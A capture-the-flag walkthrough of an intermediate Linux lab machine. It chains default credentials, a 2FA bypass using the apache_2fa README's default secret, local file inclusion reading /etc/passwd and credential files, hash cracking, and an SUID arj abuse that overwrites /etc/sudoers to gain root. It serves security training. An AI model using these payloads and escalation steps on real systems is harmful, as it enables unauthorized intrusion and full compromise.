Machine Info:
OS: Linux
Difficulty: Intermediate
Summary of Results
In this walkthrough, we will exploit the target system by guessing weak credentials using in the admin login web portal and bypassing two-factor authentication (2FA) with a default secret key. This brings us to a new vulnerability of the web application, Local File Inclusion (LFI). Abusing LFI reveals to us another user, his password hash, and 2FA secret key. Cracking password hash and using 2FA OTP give us SSH access into the system.
Locally enumerating divulges a misconfigured SUID binary /usr/bin/arj. Taking advantage of the binary, we are able to read and write to /etc/sudoers, which grants us root privilege.
Attack Narrative
- Enumeration
- Exploitation
- Administrative Privilege Escalation
Enumeration
Nmap
We will start with nmap
scan.
$ sudo nmap -sV -p- -A -T4 -Pn -n 192.168.113.144
Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-23 06:02 AEST
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38
Two services are opening on the target system SSH and HTTP.
Web Enumeration
Next, we’ll open the web application on port 80 (http://192.168.113.144). We are immediately blocked by the authentication protocol.
We then try some common credentials, such as admin:admin
admin:password
root:root
root:toor
. The first one works perfectly and lets us pass the authentication portal. However, we are now dealing with 2FA authentication protocol.
We need to find the Authentication Token in order to log in… Checking the page source.
<!-- itemir/apache_2fa -->
With some researches, we found that the web server implements Apache Two-Factor (2FA) Authentication with Google Authenticator (apache_2fa
from itemir
), which can be found here.
Spending some time to read and understand its function, we’ll see that in order to obtain OTP code (or Authentication Token), we need a secret key.
Exploitation
Default 2FA secret key
The README.md file guides us clearly on how to implement and use the tool.
...
In order to obtain Authentication Token, download Google Authenticator for iOS or Android and create a profile by using ND4LKCSFMUQISO6CBZQATLDP secret key (there are many other applications that provide the same capability with additional features, you can basically use any application that supports TOTP). Once you define a profile, Google Authenticator will create a token that you can use in this form.If the test is successful, edit apache_credentials and tokens.json files and remove test_user
...
As we can see, there is a default test_user
user and a default seceret key
ND4LKCSFMUQISO6CBZQATLDP
which is only used to test functions, after the functions are succesfully tested, we have to remove the default user as well as the default secret key.
If the developers make a critical mistake by using default secret key, we will be able to generate an Authentication Token and bypass 2FA easily.
In order to set up OTP, we need to:
- Download Google Authenticator app.
- Create a new profile.
- Copy and paste the above secret key.
- Click Save/Done.
After everything is successfully set up, we should now have a OTP — 6-digit password generates randomly every 30 seconds. To test our theory, we copy and paste the token into the prompt.
It works!. As we can see, we are successfully bypass the 2FA because the developers indeed forgot to change the secret key!.
Local File Inclusion Exploitation
Now, we are logging in, there is drop down menu with three functions ps aux
, w
, and uptime
. Poking into these functions and then clicking “View Result”, which redirect us to a new page /spool/viewresult.php?view=[NAME].txt
… this shows the outputs of the previous functions.
As the viewresult.php
seems to be vulnerable to LFI, let’s try fetching the /etc/passwd
file.
http://192.168.113.144/spool/viewresult.php?view=/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
Debian-exim:x:106:113::/var/spool/exim4:/usr/sbin/nologin
fox:x:1000:1000::/home/fox:/bin/sh
The output reveals the fox
user on this system.
Fail2ban
As we try to brute force SSH password of user fox, we’ll notice that the server implements a security control that block any IP address that fails to provide the correct password.
First three failed attempts.
$ ssh fox@192.168.113.144
Password:
Password:
Password:
fox@192.168.113.144's password:
^C
When we try to log in again.
$ ssh fox@192.168.113.144
ssh: connect to host 192.168.113.144 port 22: Connection refused
This happened because the server implements fail2ban
service, which can mitigate bruteforcing attack. We can confirm this by looking at the result of the ps aux
function in the admin web portal.
...
root 413 0.0 0.5 48228 10576 ? Ss 15:23 0:00 ...
root 426 0.0 0.3 19308 6424 ? Ss 15:23 0:00 /lib/systemd/systemd-logind
root 433 0.0 1.0 250340 20532 ? Ssl 15:23 0:02 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 448 0.0 0.0 5612 1744 tty1 Ss+ 15:23 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
...
Back to the LFI and 2FA. Also in the README.md of itemir/apache_2fa
, they also state:
...
In order to obtain Authentication Token, download Google Authenticator for iOS or Android and create a profile by using ND4LKCSFMUQISO6CBZQATLDP secret key (there are many other applications that provide the same capability with additional features, you can basically use any application that supports TOTP). Once you define a profile, Google Authenticator will create a token that you can use in this form.If the test is successful, edit apache_credentials and tokens.json files and remove test_user
...
There areapache_credentials
and tokens.json
files, which are interesting because it might contain a hash of users or a new secret key on the system.
Utilizing LFI to read those files.
apache_credentials
file.
http://192.168.113.144/spool/viewresult.php?view=/opt/apache_2fa/apache_credentialsadmin:$apr1$pa.RhgPO$18S/xeIW24UvBgjVJJXiC1
fox:$apr1$JWr/q2vH$KXhhk03ukqkoXjbOIoUVp/
2. tokens.json
file.
http://192.168.113.144/spool/viewresult.php?view=/opt/apache_2fa/tokens.json{
"admin": "ND4LKCSFMUQISO6CBZQATLDP",
"fox": "RTW2ARWLJZRWUCN54UO22FDQ6I"
}
As expected, we are able to obtain the credentials and secret ket for the fox
user. Cracking the hash, we obtain new credentials fox:THERESE
. Using them to login to the SSH.
$ ssh fox@192.168.113.144
Password:
Verification code:
Using the previous method with fox
secret key, we can also bypass the SSH 2FA and successfully login as fox
.
Administrative Privilege Escaltion
SUID files
After obtaning SSH shell, we’ll now enumerate SUID files.
fox@g00g:~$ find / -perm -u=s -exec ls -al {} \; 2>/dev/null...
-rwsr-xr-x 1 root root 1189544 May 1 05:42 /usr/sbin/exim4
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-sr-x 1 root root 386091 Feb 10 2019 /usr/bin/arj
/usr/bin/arj
looks appealing to us. Conducting some researches, we found that it allows us to read and write. We first have a look into its options.
fox@g00g:~$ arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.Processing archive: /usr/bin/arj
Archive created: 2019-02-10 14:50:08, modified: 2019-02-10 14:50:08
List of frequently used commands and switches. Type ARJ -? for more help.Usage: ARJ <command> [-<sw> [-<sw>...]] <archive_name> [<file_names>...]
Examples: ARJ a -e archive, ARJ e archive, ARJ l archive *.doc
<Commands>
ac: Add Chapter to chapter archive l: List contents of archive
a: Add files to archive m: Move files to archive
c: Comment archive files t: Test integrity of archive
d: Delete files from archive u: Update files to archive
e: Extract files from archive v: Verbosely list contents of archive
f: Freshen files in archive x: eXtract files with full pathname
<Switches>
c: skip time-stamp Check r: Recurse subdirectories
e: Exclude paths from names u: Update files (new and newer)
f: Freshen existing files v: enable multiple Volumes
g: Garble with password w: assign Work directory
i: with no progress Indicator x: eXclude selected files
m: with Method 0, 1, 2, 3, 4 y: assume Yes on all queries
n: only New files (not exist) hk: enable ARJ-PROTECT damage protection
SUID Abuse
Our current attack vector is to modify the sudoers
file and give us sudo
permission to execute any command as root
.
- Archive the
sudoers
file.
fox@g00g:/dev/shm/privesc$ arj a "sudoers_fox" "/etc/sudoers"
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.Creating archive : a.arj
Adding /etc/sudoers 53.2%
1 file(s)
2. Read archive.
fox@g00g:/dev/shm/privesc$ arj p sudoers_fox.arj
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.Processing archive: sudoers_fox.arj
Archive created: 2021-07-22 18:02:33, modified: 2021-07-22 18:02:33
Extracting etc/sudoers to STDOUT # 0%
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"# Host alias specification# User alias specification# Cmnd alias specification# User privilege specification
root ALL=(ALL:ALL) ALL# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL# See sudoers(5) for more information on "#include" directives:#includedir /etc/sudoers.d
OK
1 file(s)
3. Create and modify the new sudoers
.
fox@g00g:/dev/shm/privesc$ nano sudoers
...
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
...# User privilege specification
root ALL=(ALL:ALL) ALL
fox ALL=(ALL:ALL) NOPASSWD:ALL# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL# See sudoers(5) for more information on "#include" directives:#includedir /etc/sudoers.d
4. Archive sudoers_fox
.
fox@g00g:/dev/shm/privesc$ arj a "sudoers" "sudoers"
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.Creating archive : sudoers.arj
Adding sudoers_fox 53.8%
1 file(s)
5. Write the new sudoers
to /etc
.
fox@g00g:/dev/shm/privesc$ arj e "sudoers.arj" "/etc"
ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia.Processing archive: sudoers.arj
Archive created: 2021-07-22 18:12:43, modified: 2021-07-22 18:12:43
ARJ 704 21-07-22 18:12:24, DISK 669 20-02-02 02:41:42
/etc/sudoers exists, Overwrite? y
Extracting sudoers to /etc/sudoers OK
1 file(s)
Successfully executing the above commands will allow us to execute any sudo
command under system privlege.
root@g00g:~# id
uid=0(root) gid=0(root) groups=0(root)